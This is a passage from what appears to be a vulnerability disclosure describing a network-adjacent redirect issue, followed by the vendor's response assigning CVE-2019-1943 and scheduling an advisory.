The redirection is happening to http://google.com/cs703dae2c/config/log_off_page.htm. The attacker need to be in same network and should be able to modify the victims request on the wire in order to trigger this vulnerabilty.

Vendor Response:
*************************************************************************************************************************************

Issue 1:
Due to the limited information given out, we are not considering it a vulnerability as such. Still, it would be better if it was not happening, so, we will treat it as a hardening enhancement.

Issue 2:
The developers won't be able to provide a fix for this in the short term (90 days), so, we are planning to disclose this issue through an advisory on July 17th 2019.

We have assigned CVE CVE-2019-1943 for this issue.
